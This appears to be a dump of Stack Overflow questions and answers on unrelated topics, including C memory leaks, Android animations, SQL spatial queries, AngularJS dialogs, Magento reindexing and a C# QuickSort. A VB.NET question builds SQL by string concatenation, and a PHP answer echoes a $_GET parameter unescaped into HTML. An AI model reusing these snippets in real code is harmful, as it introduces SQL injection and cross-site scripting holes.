40283274	0	 <p>Every memory block obtained via <code>malloc</code> and friends that is not freed with the <code>free</code> function will yield in a memory leak and this is toally independent of scopes.</p> <p>In other words, you may allocate a memory block in some function and free it later in a totally different function; this is actually how <code>malloc</code> and <code>free</code> are used most of the time.</p> <p><strong>Example</strong> (just for illustration purposes, not necessarily good programming practice)</p> <pre><code>char *Foo() { ... return malloc(...); } void Bar() { char *p = Foo(); ... free(p); // freeing the pointer that has been allocated in Foo } </code></pre> <p>The Wiki example causes a leak because once the function has been executed, the a pointer doesn't exist any more because it is a <em>local variable</em> that exists only during the execution time of the function.</p> <p>But the memory block itself that has been allocated and that was pointed by <code>a</code> is still allocated and now there is no more way to free it because the only pointer (<code>a</code>) that pointed to it is gone.</p>
6651380	0	 <pre><code>$textFields = $("input[type=text]"); </code></pre> <p>Then you can test them individually using filter</p> <pre><code>$textFields.filter('[name=email]'); </code></pre>
25348522	0	 <p>If anyone stumbles upon this...</p> <p>I figured this out by using the sample project from the <a href="http://developer.android.com/training/animation/screen-slide.html" rel="nofollow">Android developer training</a> website. I created an anim folder in res and adding xml set files with the Object animator tag. I didnt understand how to manipulate the values correctly to get the desired animation but after some poking around i realized the following</p> <pre><code> &lt;objectAnimator android:valueFrom= android:valueTo= android:propertyName=" android:interpolator= android:duration= /&gt; </code></pre> <p>The valueFrom tag and the valueTo tag define the points the animation runs between and android fills in the rest. The property name is used to describe what kind of motion is being manipulated (translationX, translationY, rotationX, translationY, scaleX and scaleY). The interpolator sets the rate of change of the animation and finally duration specifies how long the animation should take. </p> <p>Once the animation files are made the following code can be used to set the animations on the fragments during a transaction. </p> <pre><code> getFragmentManager() .beginTransaction() .setCustomAnimations( R.animator.exampleOut, R.animator.exampleIn, R.animator.exampleOut, R.animator.exampleIn, ).add(R.id.container, new mFragment()).addToBackStack(null).commit();\ </code></pre> <p>the first two parameters of setCustomAnimations() set the motion of the two fragments when the transaction is initiated and the last two parameters set the motion of the two fragments when the transaction is reversed, i.e., the back button is pressed.</p> <p>This can be used to achieve the desired animation however I found that the outbound fragment would disappear from view for some reason. There fore I had to use AnimatorListener as follows:</p> <pre><code>Animator.AnimatorListener listener = new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator arg0) { getFragmentManager() .beginTransaction() .setCustomAnimations( R.animator.exampleOut, 0, 0, R.animator.exampleIn ) .add(R.id.container, new mFragment()) .addToBackStack(null) .commit(); } }; slideback(listener); mHandler.post(new Runnable() { @Override public void run() { invalidateOptionsMenu(); } }); } private void slideback(Animator.AnimatorListener listener) { View movingFragmentView = cardFrontFragment.getView(); PropertyValuesHolder rotateY = PropertyValuesHolder.ofFloat("rotationY", 15f); PropertyValuesHolder scaleX = PropertyValuesHolder.ofFloat("scaleX", 0.8f); PropertyValuesHolder scaleY = PropertyValuesHolder.ofFloat("scaleY", 0.8f); PropertyValuesHolder translateX = PropertyValuesHolder.ofFloat("translationX", 500f); ObjectAnimator movingFragmentAnimator = ObjectAnimator. ofPropertyValuesHolder(movingFragmentView, rotateY, scaleX, scaleY, translateX); ObjectAnimator movingFragmentRotator = ObjectAnimator. ofFloat(movingFragmentView, "rotationY",15f, 0f); movingFragmentAnimator.setDuration(DURATION_TIME); movingFragmentRotator.setStartDelay(DELAY_TIME); AnimatorSet s = new AnimatorSet(); s.playTogether(movingFragmentAnimator, movingFragmentRotator); s.addListener(listener); s.start(); } private void slideForward (Animator.AnimatorListener listener) { View movingFragmentView = cardFrontFragment.getView(); PropertyValuesHolder rotateY = PropertyValuesHolder.ofFloat("rotationY", 15f); PropertyValuesHolder scaleX = PropertyValuesHolder.ofFloat("scaleX", 1.0f); PropertyValuesHolder scaleY = PropertyValuesHolder.ofFloat("scaleY", 1.0f); PropertyValuesHolder translateX = PropertyValuesHolder.ofFloat("translationX", 0f); ObjectAnimator movingFragmentAnimator = ObjectAnimator. ofPropertyValuesHolder(movingFragmentView, rotateY, scaleX, scaleY, translateX); ObjectAnimator movingFragmentRotator = ObjectAnimator. ofFloat(movingFragmentView, "rotationY",15f, 0f); movingFragmentAnimator.setDuration(DURATION_TIME); movingFragmentRotator.setStartDelay(DELAY_TIME); movingFragmentRotator.setDuration(DURATION_TIME); AnimatorSet s = new AnimatorSet(); s.playTogether(movingFragmentAnimator, movingFragmentRotator); s.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { mShowingBack = false; } }); s.start(); } </code></pre> <p>This allows you to set the properties for the outbound fragment dynamically during runtime and for some reason allows the fragment to remain in view.</p>
24262645	0	 <p>Try this in the selector method of the info button :</p> <pre><code>[self.popover presentPopoverFromRect:[(UIButton *)sender frame] inView:self.view permittedArrowDirections:UIPopoverArrowDirectionUp animated:YES]; </code></pre> <p>Hope this helps you!</p>
8930833	0	Which Audio API to use for creating Audio Effects? <p>I want to record audio and apply custom-built sound effect filters, then play it back.</p> <p>Are Audio Units and Audio Queue Services the API I'm looking for? Or are there other APIs which fit this purpose better?</p> <p>Also, I've been told Audio Units can't be customized on iOS so there are just a few pre-made effects available. Is this true?</p>
5799464	0	Trying to see how I can improve the performance of this Sql query <p>I've got a SQL query which is trying to find all the Neighbourhoods in some Counties.</p> <p>When I use SQL Sentry Plan Explorer to visualize the query (IMO, a bit better than the tools provided with MS SSMS) it highlights a really slow performing part :-</p> <p>Full Plan</p> <p><img src="https://i.stack.imgur.com/EFGOM.png" alt="enter image description here"></p> <p>Zoomed in ....</p> <p><img src="https://i.stack.imgur.com/gRrwJ.png" alt="enter image description here"></p> <p>Details</p> <p><img src="https://i.stack.imgur.com/4gvNz.png" alt="enter image description here"></p> <p>SQL script:</p> <pre><code> -- Update which Neighbourhoods are in these Counties. INSERT INTO @NeighbourhoodCounties (NeighbourhoodId, CountyId) SELECT SubQuery.NeighbourhoodId, SubQuery.CountyId FROM ( SELECT e.LocationId AS NeighbourhoodId, b.LocationId AS CountyId, c.OriginalBoundary.STArea() AS CountyArea, c.OriginalBoundary.STIntersection(d.OriginalBoundary).STArea() AS IntersectionArea FROM @CountyIds a INNER JOIN [dbo].[Counties] b ON a.Id = b.LocationId INNER JOIN [dbo].[GeographyBoundaries] c ON b.LocationId = c.LocationId INNER JOIN [dbo].[GeographyBoundaries] d ON c.OriginalBoundary.STIntersects(d.OriginalBoundary) = 1 INNER JOIN [dbo].[Neighbourhoods] e ON d.LocationId = e.LocationId ) SubQuery WHERE (SubQuery.IntersectionArea / SubQuery.CountyArea) * 100 &gt; 5 -- a Neighbourhood has to be 5% or more to be considered 'Inside' </code></pre> <p>Can anyone help interpret this query? What do all these numbers mean? How can I use these numbers to help diagnose and improve my query?</p> <p><a href="http://stackoverflow.com/questions/5798487/how-can-i-create-a-spatial-index-on-an-indexed-view">I tried to make an indexed view on the spatial table</a> but that failed miserably.</p> <p>Can anyone help?</p>
402769	0	 <p>I think the key to this performing is to think about how you store your data and to have some metadata around it.</p> <p>What do I mean by that?</p> <p>Have a list of Cities that have a store in NJ, for example, and filter out cities that come back from your third party api based on your master list. You might find that you only have 5 matches out of the 450 returned. Similarly, I wouldn't combine 450 querys in one query - try and chunk them up into smaller amounts.</p> <p>Also, if you can create indexes based on states you might find that a smaller index - specifically for NJ - can handle your query more efficiently than selecting a specific state's data in a larger index.</p> <p>Hope this helps, Ciaran</p>
30682924	0	 <p>You're using RTMP, which is a Flash protocol. There is no Flash on any mobile device. You'll need to provide an HLS stream or MP4 fallback for mobiles.</p>
27924803	0	Bower images integration <p>I use bower and grunt. Grunt scan bower_components and integrate js/css files in special directories. What about relative paths to images in css files? How can I integrate these images?</p>
1117686	0	 <p>I would do something like this. I'm thinking the problem could be the order of the rules, that say, the first rule will try to load the image/js/css since isn't looking if the file exists.</p> <p>try this:</p> <pre><code>Options -Indexes RewriteEngine on Options +FollowSymLinks RewriteCond %{HTTP_HOST} !^www\.website\.com$ [NC] RewriteRule .* https://www.website.com/$1 [L,R=301] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ myfolder/index.php?q=$1 [L,QSA] RewriteRule ^$ myfolder/index.php [L] </code></pre>
40787559	0	 <p>I think the best way to avoid the highlighting of that unused public methods is writing a couple of test for those methods in your API.</p>
24785261	0	 <p>I think what normally happens in the scenario where you want to change an employees manager would be:</p> <ul> <li>load the employee model. You may not need to populate the manager at this point if you just intend to change it without really using the existing manager value. Make sure you change it with <code>employee.manager = newManager</code> and not <code>employee.manager._id = newManagerId</code> otherwise I'm not sure mongoose will properly understand your change.</li> <li>change the manager on the in-memory model. However, just keep your reference to this instance available so you don't have to re-fetch it from the DB.</li> <li>save the employee with the new manager ID</li> <li>If you want to do more with the populated employee (send it to the browser or whatever), just use your existing reference from step 2 instead of refetching.</li> </ul>
40111951	0	How to: Time-in and time-out status on vb.net <p>`Public Sub updateTextBox()</p> <pre><code> s = s + SerialPort1.ReadExisting() If Len(s) &gt; 12 Then Try txtReceived.Text = Microsoft.VisualBasic.Mid(s, 1, 12) strSql = "SELECT * FROM stud WHERE tag = '" &amp; txtReceived.Text &amp; "';" command.CommandText = strSql command.Connection = SQLConnection datapter.SelectCommand = command datardr = command.ExecuteReader Dim img() As Byte If datardr.HasRows Then datardr.Read() img = datardr("picture") Dim ms As New MemoryStream(img) txtFname.Text = datardr("fname").ToString txtLname.Text = datardr("lname").ToString PictureBox1.Image = Image.FromStream(ms) SQLConnection.Close() End If SQLConnection.Open() Catch ex As Exception End Try Try Dim i As Integer Dim newtag As Boolean = True Dim stringfix As String Dim string1 As String Dim string2 As String For i = 0 To (grid.Rows.Count - 1) stringfix = grid.Rows.Item(i).Cells(0).Value string1 = Microsoft.VisualBasic.Mid(stringfix, 1, 10) string2 = Microsoft.VisualBasic.Mid(stringfix, 2, 10) If string1 = string2 Then newtag = False Exit For Else newtag = True End If Next If newtag = True Then Dim dr As Integer dr = grid.Rows.Add() grid.Rows.Item(dr).Cells.Item(0).Value = Microsoft.VisualBasic.Mid(s, 1, 12) grid.Rows.Item(dr).Cells(1).Value = txtFname.Text grid.Rows.Item(dr).Cells(2).Value = txtLname.Text grid.Rows.Item(dr).Cells.Item(3).Value = txtDate.Text + " " + txtTime.Text grid.Rows.Item(dr).Cells.Item(4).Value = "TIME IN" ElseIf newtag = False Then grid.Rows.Item(i).Cells.Item(3).Value = txtDate.Text + " " + txtTime.Text grid.Rows.Item(i).Selected = True End If Catch ex As Exception End Try Dim timeOut As DateTimeOffset = Now.AddMilliseconds(1500) Do Application.DoEvents() Loop Until Now &gt; timeOut s = SerialPort1.ReadExisting() SerialPort1.DiscardOutBuffer() s = String.Empty SerialPort1.DtrEnable = True txtReceived.Text = "" txtFname.Text = "" txtLname.Text = "" PictureBox1.Image = Nothing End If End Sub` </code></pre> <p>Good day! I've been working on an RFID based Daily-Time-Record of a school for our Thesis. My problem is how to set the "status" of the student when he/she 1st tapped the RFID card it should be status = Time-In and when he/she tapped it for the 2nd time the status should be Time-out. Every student has a limit of one Time-In and one Time-out a day. Any idea on how to do this? Hope you guys get what im pointing out.</p>
15106405	0	 <p>Both are suitable for bigger projects and both are secure too. But these two things depends on the Programmer or Team you hire. You can have a look <a href="http://en.wikipedia.org/wiki/Programming_languages_used_in_most_popular_websites" rel="nofollow">here</a>.</p> <p>ASP is fully Object oriented and can be written only in OOPS Concept. PHP Can be written in Object oriented as well as Procedural ways. PHP was a Procedural language when it is implemented first but later gained OOPS Principles. Thats why.</p> <p>PHP is an open source language. It is free to the community and lots of tutorials and examples are available everywhere. ASP.net is free framework but Web server and OS Costs.</p>
5510978	0	In Hudson, how do I get the current build's git commit sha? <p>We are using Hudson with git. We have a build/test server which compiles our project and then a QA server to which we need to deploy.</p> <p>We want to get the current built git commit sha and use it to pull the appropriate commit for deployment on our QA server. </p> <p>Unfortunately it seems that the hudon git plugin does not set the git commit sha in the environment variables (as the svn plugin does in SVN_REVISION for example). How do we get around this?</p> <p>Pointer/ examples will be helpful as I am a hudson noob.</p> <p>Thanks</p>
34257839	0	Use $mdDialog stright from controller <p>Trying to use the $mdDialog when login fails; currently I have injected $mdDialog and where my response fails I have added the following code:</p> <p><strong>$mdDialog Code:</strong></p> <pre><code>$mdDialog.show( $mdDialog.alert() .title('Username / password is incorrect') .textContent(response.message) .ok('Got it!')); </code></pre> <p>Any Idea what am I doing wrong ?</p> <p><strong>My error</strong></p> <pre><code>$mdDialog.alert(...).title(...).textContent is not a function </code></pre> <p><strong>My controller (I don't think its necessary but just encase ):</strong></p> <pre><code>(function () { 'use strict'; angular .module('app') .controller('authController', authController); authController.$inject = ['$scope','$state','AuthService','$mdDialog']; function authController($scope,$state,AuthService,$mdDialog) { $scope.login = login; $scope.user = {email: 'user', pass: 'pass'}; function login(){ this.dataLoading = true; AuthService.Login(this.user.email, this.user.pass, function (response) { console.log(response); if (response.success) { $state.go("dashboard"); } else { $mdDialog.show( $mdDialog.alert().title('Username / password is incorrect').textContent(response.message) .ok('Got it!')); } }); } }; })(); </code></pre>
4448418	0	Weblogic ClassCastException <p>I am getting the following exception from WebLogic console.</p> <pre><code>java.lang.ClassCastException: weblogic.xml.jaxp.RegistryDocumentBuilderFactory cannot be cast to oracle.xml.jaxp.JXDocumentBuilderFactory </code></pre> <p>I am using oracle.xml.jaxp.JXDocumentBuilderFactory inside my JCA adapter and when I invoke methods on JCA adapter connection, it throws the above Exception. I have installed xmlparserv2.jar into $DOMAIN_DIR/lib.</p> <p>This is the line of code that throws above mentioned exception.</p> <pre><code>JXDocumentBuilderFactory factory =(JXDocumentBuilderFactory)JXDocumentBuilderFactory.newInstance(); </code></pre> <p>It seems to me that WebLogic is using different JXDocumentBuilderFactory and there is some conflict in classpath setting or configuration. </p> <p>Can anyone help me with this issue? Thanks in advance.</p> <p>Regards,</p> <p>K.H</p>
21445811	0	 <pre><code>acBox.Items.Add("There is no data"); acBox.DataBind(); </code></pre> <p>Not really sure with my answer, I just answered it based on my understanding of your question.</p>
16148157	0	 <pre><code>public enum Logger { INSTANCE; DefaultFileMonitor fm = new DefaultFileMonitor(new CustomFileListener()); private FileObject file = null; private FileObject object = null; private Logger() { this.openFile(); try { FileSystemManager fsManager = VFS.getManager(); file = fsManager.resolveFile(this.getfileLocation()); object = fsManager.resolveFile("c:\test.txt"); } catch (FileSystemException e) { e.printStackTrace(); } fm.setDelay(1000); fm.addFile(file); fm.start(); } </code></pre> <p>Here is the code that I'm using to load the DefaultFileMonitor</p>
33360646	0	 <p>sequalise queries return promises so below is how i query stored procedures.</p> <pre><code>sequelize.query('CALL calculateFees();').then(function(response){ res.json(response); }).error(function(err){ res.json(err); }); </code></pre>
15223739	0	Google Maps API v3 - circle sector <p>I would like to draw sector of circle on map defined by point, radius, startAngle and stopAngle. I found lots of exmaples but with polygons etc whitch was too complicated for my case.</p> <p>Thanks for any help!</p>
4233587	0	 <pre><code>imports MyDictionary = System.Collections.Generic.Dictionary(Of string, string) public module MyModule Sub Main() dim myData as New MyDictionary mydata.Add("hello", "world") Console.WriteLine(mydata.Keys.Count) mydata.Add("hello2", "world2") Console.WriteLine(mydata.Keys.Count) End Sub end module </code></pre>
21734074	0	 <p>try this..</p> <pre><code>echo $_SERVER['HTTP_REFERER']; </code></pre>
25107717	0	 <p>I just encountered this issue in CE v1.9.0.1. My admin module was getting all processes as a collection and looping through each one calling reindexEverything(). I based the code on the adminhtml process controller which was working fine, but my code wasn't working at all.</p> <p>I finally figured out the issue was that I had previously set the reindex mode to manual (to speed up my product import routine) as follows:</p> <pre><code>$processes = Mage::getSingleton('index/indexer')-&gt;getProcessesCollection(); $processes-&gt;walk('setMode', array(Mage_Index_Model_Process::MODE_MANUAL)); // run product import $processes = Mage::getSingleton('index/indexer')-&gt;getProcessesCollection(); foreach($processes as $p) { if($p-&gt;getIndexer()-&gt;isVisible()) { $p-&gt;reindexEverything(); //echo $p-&gt;getIndexer()-&gt;getName() . ' reindexed&lt;br&gt;'; } } $processes = Mage::getSingleton('index/indexer')-&gt;getProcessesCollection(); $processes-&gt;walk('setMode', array(Mage_Index_Model_Process::MODE_REAL_TIME)); </code></pre> <p>SOLUTION: set mode back to MODE_REAL_TIME before reindexing everything:</p> <pre><code>$processes = Mage::getSingleton('index/indexer')-&gt;getProcessesCollection(); $processes-&gt;walk('setMode', array(Mage_Index_Model_Process::MODE_MANUAL)); // run product import $processes = Mage::getSingleton('index/indexer')-&gt;getProcessesCollection(); $processes-&gt;walk('setMode', array(Mage_Index_Model_Process::MODE_REAL_TIME)); $processes = Mage::getSingleton('index/indexer')-&gt;getProcessesCollection(); foreach($processes as $p) { if($p-&gt;getIndexer()-&gt;isVisible()) { $p-&gt;reindexEverything(); //echo $p-&gt;getIndexer()-&gt;getName() . ' reindexed&lt;br&gt;'; } } </code></pre> <p>Note: these are snips from a few different methods hence the repeated assignment of $processes etc..</p> <p>It seemed reindexEverything() wasn't doing anything when the processes index mode was set to MODE_MANUAL. Setting mode back to MODE_REAL_TIME and then calling reindexEverything worked fine.</p> <p>I hope this helps someone as I had a few frustrated hours figuring this one out!</p> <p>Thanks</p>
931767	0	 <h2>Binary Trees</h2> <p>There exists two main types of binary trees, balanced and unbalanced. A balanced tree aims to keep the height of the tree (height = the amount of nodes between the root and the furthest child) as even as possible. There are several types of algorithms for balanced trees, the two most famous being AVL- and RedBlack-trees. The complexity for insert/delete/search operations on both AVL and RedBlack trees is <strong><em>O(log n)</em></strong> or <strong>better</strong> - which is the important part. Other self balancing algorithms are AA-, Splay- and Scapegoat-tree.</p> <p>Balanced trees gain their property (and name) of being balanced from the fact that after every delete or insert operation on the tree the algorithm introspects the tree to make sure it's still balanced, if it's not it will try to fix this (which is done differently with each algorithm) by rotating nodes around in the tree.</p> <p>Normal (or unbalanced) binary trees do not modify their structure to keep themselves balanced and have the risk of, most often overtime, to become very inefficient (especially if the values are inserted in order). However if performance is of no issue and you mainly want a sorted data structure then they might do. The complexity for insert/delete/search operations on an unbalanced tree range from O(1) (best case - if you want the root) to O(n) (worst-case if you inserted all nodes in order and want the largest node)</p> <p>There exists another variation which is called a randomized binary tree which uses some kind of randomization to make sure the tree doesn't become fully unbalanced (which is the same as a linked list)</p>
13374164	0	 <p>Maybe ?:</p> <pre><code> SELECT * FROM `tbl_notes` WHERE `active` = '0' AND `valid_note` = '0' AND `user_id` = '33' AND (`note` LIKE '%biology%' OR `topic` LIKE '%biology%' OR `note_title` LIKE '%biology%' OR `course` IN (SELECT `id` FROM tbl_courses WHERE `course_name` LIKE '%biology%' AND user_id = '33') ) ORDER BY id DESC LIMIT 0, 6 </code></pre>
23249089	0	Sum of a field with respect to another field <p>I have a table of employees Salary named as <strong>empSalary</strong>.</p> <p><img src="https://i.stack.imgur.com/mOFVj.png" alt="empSalary"></p> <p>I want to calculate sum of salaries issued by each department. What comes to my mind is </p> <pre><code>Select sum(Salary) from empSalary where deptId = (Select deptId from empSalary) </code></pre> <p>This statement gives me <strong>5100</strong> which is the sum of Salary where <strong>deptId = 1</strong>. How is this possible using only sql query? Sorry for the question title as i was unable to find words.</p>
28558301	0	 <p>Since it's invisible, it wont move to the top. You have to remove it with something like:</p> <pre><code>// remove vbox.getChildren().remove(...) </code></pre> <p>Once you've removed the element you want invisible then, the other element should move to the top.</p>
5032569	0	 <p><strong>edit</strong> Martin's answer is far superior to this one. His is the correct answer.</p> <hr> <p>There are a couple ways to do it. Probably the simplest would just be to build a giant OR predicate:</p> <pre><code>NSArray *extensions = [NSArray arrayWithObjects:@".mp4", @".mov", @".m4v", @".pdf", @".doc", @".xls", nil]; NSMutableArray *subpredicates = [NSMutableArray array]; for (NSString *extension in extensions) { [subpredicates addObject:[NSPredicate predicateWithFormat:@"SELF ENDSWITH %@", extension]]; } NSPredicate *filter = [NSCompoundPredicate orPredicateWithSubpredicates:subpredicates]; NSArray *dirContents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:documentsDirectoryPath error:nil]; NSArray *files = [dirContents filteredArrayUsingPredicate:filter]; </code></pre> <p>This will create a predicate that's equivalent to:</p> <pre><code>SELF ENDSWITH '.mp4' OR SELF ENDSWITH '.mov' OR SELF ENDSWITH '.m4v' OR .... </code></pre>
11801138	0	Program compiling program fail at links for objective c files <p>I am trying to compile a program using its source code and I am unable too and the problem seems to happen in the same folder in every ocurrance, and when I check the files, they are all objective c language, could it be that I am missing libraries or programs? If so which may they be? I tried researching online and here but all I find is stuff on gcc and g++ but I already have both installed along with the boost library which is another pre-req for this program. Here are some of the command line outputs I got:</p> <pre><code> "g++" -o "phrase-extract/pcfg-score/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi/pcfg-score" -Wl,--start-group "phrase-extract/pcfg-score/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi/pcfg_score.o" "phrase-extract/pcfg-score/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi/main.o" "phrase-extract/pcfg-score/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi/tree_scorer.o" "phrase-extract/pcfg-common/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi/libpcfg_common.a" -Wl,-Bstatic -lboost_program_options-mt -lboost_system-mt -lboost_thread-mt -Wl,-Bdynamic -lSegFault -lrt -Wl,--end-group -g -pthread ...failed gcc.link phrase-extract/pcfg-score/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi/pcfg-score... ...skipped &lt;p/home/rowe/Moses/bin&gt;moses_chart for lack of &lt;pmoses-chart-cmd/src/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;moses_chart... ...skipped &lt;p/home/rowe/Moses/bin&gt;moses for lack of &lt;pmoses-cmd/src/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;moses... ...skipped &lt;p/home/rowe/Moses/bin&gt;lmbrgrid for lack of &lt;pmoses-cmd/src/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;lmbrgrid... ...skipped &lt;p/home/rowe/Moses/bin&gt;CreateOnDiskPt for lack of &lt;pOnDiskPt/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;CreateOnDiskPt... ...skipped &lt;p/home/rowe/Moses/bin&gt;queryOnDiskPt for lack of &lt;pOnDiskPt/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;queryOnDiskPt... ...skipped &lt;p/home/rowe/Moses/bin&gt;pro for lack of &lt;pmert/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;pro... ...skipped &lt;p/home/rowe/Moses/bin&gt;kbmira for lack of &lt;pmert/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;kbmira... common.copy /home/rowe/Moses/bin/processPhraseTable ...skipped &lt;p/home/rowe/Moses/bin&gt;processLexicalTable for lack of &lt;pmisc/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;processLexicalTable... common.copy /home/rowe/Moses/bin/queryPhraseTable ...skipped &lt;p/home/rowe/Moses/bin&gt;queryLexicalTable for lack of &lt;pmisc/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;queryLexicalTable... ...skipped &lt;p/home/rowe/Moses/bin&gt;extract-ghkm for lack of &lt;pphrase-extract/extract-ghkm/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;extract-ghkm... ...skipped &lt;p/home/rowe/Moses/bin&gt;pcfg-extract for lack of &lt;pphrase-extract/pcfg-extract/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;pcfg-extract... ...skipped &lt;p/home/rowe/Moses/bin&gt;pcfg-score for lack of &lt;pphrase-extract/pcfg-score/bin/gcc-4.6/release/debug-symbols-on/link-static/threading-multi&gt;pcfg-score... common.copy /home/rowe/Moses/lib/libLM.a ...failed updating 12 targets... ...skipped 12 targets... ...updated 8 targets... </code></pre>
37369628	0	 <p>PHP cannot find the index referer in the variable $_GET, you should first test if the index exist, Try this:</p> <p><strong>PHP</strong></p> <pre><code>&lt;input id="refer" placeholder="&lt;?php echo $txt['not_oblige']; ?&gt;" type="text" name="referer" value="&lt;?php echo (isset($_GET['referer'])) ? $_GET['referer'] : '' ; ?&gt;" class="form-control" /&gt; </code></pre>
16666425	0	How to use the output statement and insert multiple values with that id <p>I want to insert values into two tables.</p> <p>The first one looks like this</p> <p><strong>Recipes</strong></p> <pre><code>RecipeId (unique and AI) RecipeName Method Discontinued </code></pre> <p>The second one looks like this</p> <p><strong>IngredientRecipe</strong></p> <pre><code>RecipeUniqId (unique and AI) RecipeId (same as the RecipeId in the Recipes table) IngredientId </code></pre> <p>I want to insert a RecipeName and a Method. If I do that the RecipeId gets auto incremented. Than I want to insert three times an ingredient with the RecipeId. Its working for one ingredient.</p> <pre><code>INSERT INTO Recipes (RecipeName, Method, Discontinued) OUTPUT INSERTED.RecipeId, '5' INTO IngredientRecipe( RecipeId, IngredientId ) VALUES ('Potato and Chips', 'Potato and Chips bake everything', 'false'); </code></pre> <p>So what I want is that I can add three times the same RecipeId with a different number for the IngredientId.</p> <p>How to do this? I use sql server </p> <p>EDIT:</p> <p>I use asp.net with c# and an N-tier structure. I use a sql server database</p>
25818596	0	 <p>change:</p> <pre><code>w=console.next(); </code></pre> <p>to:</p> <pre><code>w=console.nextLine(); </code></pre> <p>".next()" gets the next word, if you want the whole input you need to use ".nextLine()". Hope this helps :)</p>
34339841	0	 <p>It depends on the type of instance. If it's EBS backed you are probably safe to proceed as the volume will be reattached. If it's instance store backed and you lost access to it you basically have lost what's on that machine.</p> <p>By the sounds of it it's EBS backed. If it's instance store backed and you later created and attached an EBS volume and used that, you're going to be able to restore/reattach that volume just fine - but it's going to be to another machine. </p>
35477550	0	How to write active record query to details by using and <p>i have two tables</p> <p>1)Properties :fields are id, name, propert_type,category_id</p> <p>2)Admins : fields id, name,mobile,category_id</p> <p>i want to write an active record to list all properties , where category_id in properties table and category_id in Admins table are equal, according to current_user_id</p> <p>i am listing this property list by logging as admin.</p> <p>model relation</p> <p><code>class Category &lt; ActiveRecord::Base has_many :admins,dependent: :destroy has_many :properties,dependent: :destroy end</code></p> <p><code>class Admin &lt; ActiveRecord::Base belongs_to :category has_many :properties end</code></p> <p><code>class Property &lt; ActiveRecord::Base belongs_to :admin belongs_to :category end</code></p> <p>i wrote active record like this , but i got error, can anyone please suggest me a solution for this</p> <p><code>@properties= Property.where('properties.category_id=?','admins.category_id=?').and('admins.id=?',current_user.specific.id)</code></p>
8023571	0	What's wrong with this QuickSort program? <p>I've written a QuickSort algorithm based off pseudo-code that I had been given. I've been running through the outputs for about 4 hours now and I can't seem to find exactly why my algorithm starts to derail. This sort of collection logic is something I struggle with.</p> <p>Anyway, whenever I run my program there's 3 possible results:</p> <ol> <li>The list is organized and is 100% correct.</li> <li>The list is 90% organized, one or two pairs of elements are off.</li> <li>The list is never sorted and results in an infinite loop.</li> </ol> <p>Given my results it leads me to believe that something has to do with the <code>index</code> variable I'm using. However, I can' figure out why or what's wrong with it.</p> <p>Here's ALL of my code that I use for my QuickSort algorithm:</p> <pre><code>public void QuickSort(IList&lt;int&gt; list, int l, int r) { if (l&gt;=r) return; int index = Partition(list, l, r); Console.WriteLine("index: " + index); QuickSort(list, l, (index-1)); QuickSort(list, (index+1), r); } public int Partition(IList&lt;int&gt; list, int l, int r) { int pivot = list[l]; int i = l; int j = r + 1; do { do { i++; } while(i &lt; list.Count &amp;&amp; list[i] &lt; pivot); do { j--; } while(j &gt; 0 &amp;&amp; list[j] &gt;= pivot); Swap(list, i, j); } while(i&lt;j); Swap(list, i ,j); Swap(list, j, l); return j; } public void Swap(IList&lt;int&gt; list, int i, int j) { //Console.WriteLine("Swapping [i] " + list[i] + " with [j] " + list[j]); //PrintList(list, i, j, false); int temp = list[i]; list[i] = list[j]; list[j] = temp; //PrintList(list, j, i, true); } </code></pre> <p>PrintList is simply used to test my outputs.</p> <p>Here is a sample input/output:</p> <p>INPUT: [18,43,5,73,59,64,6,17,56,63]</p> <p>OUTPUT: [5,6,18,17,43,59,56,63,64,73]</p>
7470714	0	 <p>You need to add the context of the td, you're already in a for loop so the 'this' variable can be used. In this context 'this' is equal to the tr you're currently iterating on.</p> <pre><code>$('tr').each(function(index) { $("td:last",this).css({backgroundColor: 'yellow', fontWeight: 'bolder'}); }); </code></pre>
13874174	0	 <p>There is no built in functionality for resizing category images. However you can utilize <code>Varien_Image</code> class. Here I wrote a piece of code you need:</p> <pre><code>foreach ($collection as $_category){ $_file_name = $_category-&gt;getImage(); $_media_dir = Mage::getBaseDir('media') . DS . 'catalog' . DS . 'category' . DS; $cache_dir = $_media_dir . 'cache' . DS; if (file_exists($cache_dir . $_file_name)) { echo Mage::getBaseUrl('media') . DS . 'catalog' . DS . 'category' . DS . 'cache' . DS . $_file_name; } elseif (file_exists($_media_dir . $_file_name)) { if (!is_dir($cache_dir)) { mkdir($cache_dir); } $_image = new Varien_Image($_media_dir . $_file_name); $_image-&gt;constrainOnly(true); $_image-&gt;keepAspectRatio(true); $_image-&gt;keepFrame(true); $_image-&gt;keepTransparency(true); $_image-&gt;resize(50, 50); $_image-&gt;save($cache_dir . $_file_name); echo Mage::getBaseUrl('media') . DS . 'catalog' . DS . 'category' . DS . 'cache' . DS . $_file_name; } } </code></pre>
